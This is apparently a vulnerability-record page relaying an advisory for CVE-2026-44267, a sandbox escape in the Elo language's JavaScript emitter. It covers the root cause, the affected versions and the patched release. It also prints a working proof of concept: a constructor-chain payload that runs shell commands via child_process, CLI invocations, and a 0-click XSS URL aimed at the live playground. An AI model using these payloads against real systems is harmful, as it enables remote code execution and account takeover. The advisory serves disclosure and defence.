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Response snapshot Nov 3, 2026, 19:21 UTC

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VulnerabilityCVE-2026-44267

Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.

Published Updated

At a glance

Exploited
Not known
Severity
9.8 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
2 independent sources

What to do

GitHub lists first patched versions: @enspirit/elo: 1.0.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-33r5-xmm8-v6x5 (opens a new tab)

What happened

Summary

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

Vulnerable sink and root cause

Three interacting sites in src/ produce the bug at commit 749af7b:

Continue reading

1. src/transform.ts:144–158 — the member_access handler allows access on types any, object, or array without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. src/compilers/javascript.ts:210 — the JS emitter writes ${objectExpr}.${ir.property} verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3.

src/parser.ts:163–170, 748–750 — the parser accepts constructor (and other JS meta-property names) as an ordinary identifier, so .constructor clears type-checking without triggering any warning.

Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

Attack surfaces

All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:

| # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — https://elo-lang.org/try/?code=…&run=1 | 0-click XSS / account takeover against elo-lang.org. run=1 triggers setTimeout(() => this.run(), 100) in playground_controller.ts:531; the server issues a 301 that preserves ?code=. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org.

| | 2 | bin/elo CLI | RCE on CI / DevOps hosts. Both node bin/elo payload.elo and node bin/elo -e "_" -d @payload.elo -f elo fire. The -f elo path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to /usr/bin/id. | | 3 | Library API — defaultFormats.elo.parse() | Node.

js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |

Proof of Concept

Common payload (works on all three entry points):

({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()

Library API — poc-minimal.js:

// npm install elo
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…

CLI — poc-cli.sh:

node bin/elo payload.elo
# uid=1000(ultrasupara)…

node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…

Browser playground — 0-click XSS URL:

https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1

Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex ^[a-zA-Z_][a-zA-Z0-9_]*$ happens to accept constructor, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Affected package ranges reported by GitHub: @enspirit/elo: <= 1.0.0

Scores and how they were measured

CVSS base severity

9.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-33r5-xmm8-v6x5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-33r5-xmm8-v6x5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-44267 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access (CVE-2026-44267). https://kevwire.com/record/CVE-2026-44267

MLA

"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access (CVE-2026-44267)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2026-44267.

Chicago

KEVWire. "Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access (CVE-2026-44267)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2026-44267.

Evidence summary (plain text)

Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access (Nov 3, 2026).
An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

Three interacting sites in src/ produce the bug at commit 749af7b:

1.
CVSS 9.8 (version 3.1; evidence as of Nov 3, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44267).
Sources:
GitHub-reviewed advisory GHSA-33r5-xmm8-v6x5: https://github.com/advisories/GHSA-33r5-xmm8-v6x5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-44267: https://nvd.nist.gov/vuln/detail/CVE-2026-44267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-03T17:35:57.416Z&lastModEndDate=2026-11-03T19:05:57.748Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-03T17:01:00.112Z&lastModEndDate=2026-11-03T18:35:55.788Z&resultsPerPage=500&startIndex=0
Record ID: CVE-2026-44267.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 19:05 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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